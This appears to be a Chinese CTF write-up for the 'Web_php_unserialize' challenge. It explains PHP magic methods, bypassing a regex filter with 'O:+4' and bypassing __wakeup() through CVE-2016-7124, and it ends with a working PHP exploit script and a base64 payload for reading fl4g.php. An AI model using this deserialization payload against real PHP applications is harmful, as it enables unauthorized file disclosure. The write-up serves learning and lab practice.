Web_php_unserialize
源码如下:
知识点:
1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
2、__destruct():当对象被销毁时会自动调用。(析构函数)
3、__wakeup():unserialize() 时会自动调用
4. 正则 : /[oc]:\d+:/i
\d 是匹配一个数字
+表示一个或多个
i忽略大小写(修饰符)
[xyz]字符集合,匹配所包含的任意一个字符(x,y,z)
正则表达式中"/"是表达式开始和结束的标记
5. preg_match 返回1 / 0
preg_match_all 返回 0/匹配次数
如 : preg_match("/php/i", "PHP is the web scripting language of choice.")
两个函数用法一样
flag在 fl4g.php
想到了正则表达式绕过, 但是就卡在这了.后面也没想到绕过正则后构造什么payload
这恰好是这题的两个考察点
反序列化绕过数字
"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
----> "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
+号绕过
这里利用了 unserializer
的一个特性
具体可参考:
https://www.phpbug.cn/archives/32.html
https://www.guildhab.top/?p=990
绕过 __wakeup() 函数
参考:
CVE-2016-7124 https://bugs.php.net/bug.php?id=72663
创建对象之后 , 对对象的属性检查 , 若属性检查通过 , 就调用
__wakeup()
方法若对象属性检查不通过 , 则会跳出
object_common2()
函数 , 不再调用__wakeup()
函数 . 由于对象及其属性在object_common1()
中已经被创建 , 因此这里对象将会被销毁 , 从而触发析构函数__destruct()
.因此这里我们仅需要破坏对象属性检查就可以绕过
__wakeup()
函数 , 最简单的方法就是增大对象属性的个数 , 使其饭序列化异常 .PHP 7 中这部分代码被修改 ,无法再用该方式绕过 __wakeup() 方法
使反序列化的属性值改成大于真实值即可
如正常情况下: O:4:“Demo”:1:{s:10:" Demo file";s:8:“fl4g.php”;}
改为 O:4:“Demo”:999:{s:10:" Demo file";s:8:“fl4g.php”;}
serialize的特性
参考: https://www.cnblogs.com/webu/archive/2013/01/28/2879383.html 或者 https://blog.csdn.net/a5816138/article/details/53303299
- 对象的序列化
对象(object)通常被序列化为:
O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}
其中<length> 表示对象的类名<class name> 的字符串长度。<n> 表示对象中的字段1个数。
这些字段包括在对象所在类及其祖先类中用var、public、protected 和private 声明的字段,但是不包括static 和const 声明的静态字段。也就是说只有实例(instance)字段。
<filed name 1>、<filed name 2>……<filed name n>表示每个字段的字段名,而<filed value 1>,<filed value 2>……<filed value n> 则表示与字段名所对应的字段值。
字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。
字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。
但字段名的序列化与它们声明的可见性是有关的,下面重点讨论一下关于字段名的序列化。
对象字段名的序列化
var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号$。
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因
此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀。这里的 \0 表示 ASCII 码为 0 的字符,而不是 \0 组合。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上 \0<declared class name>\0 的前缀。
这里 <declared class name> 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。
字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中\0 字符也是计算长度的。
做题时复制序列化的东西会出错,应该和\0有关 , 00截断了
EXP
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$test=new Demo("fl4g.php");
$a=serialize($test);
$a=str_replace('O:4','O:+4',$a);
$a=str_replace('1:{','2:{',$a);
echo base64_encode($a);
?>
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==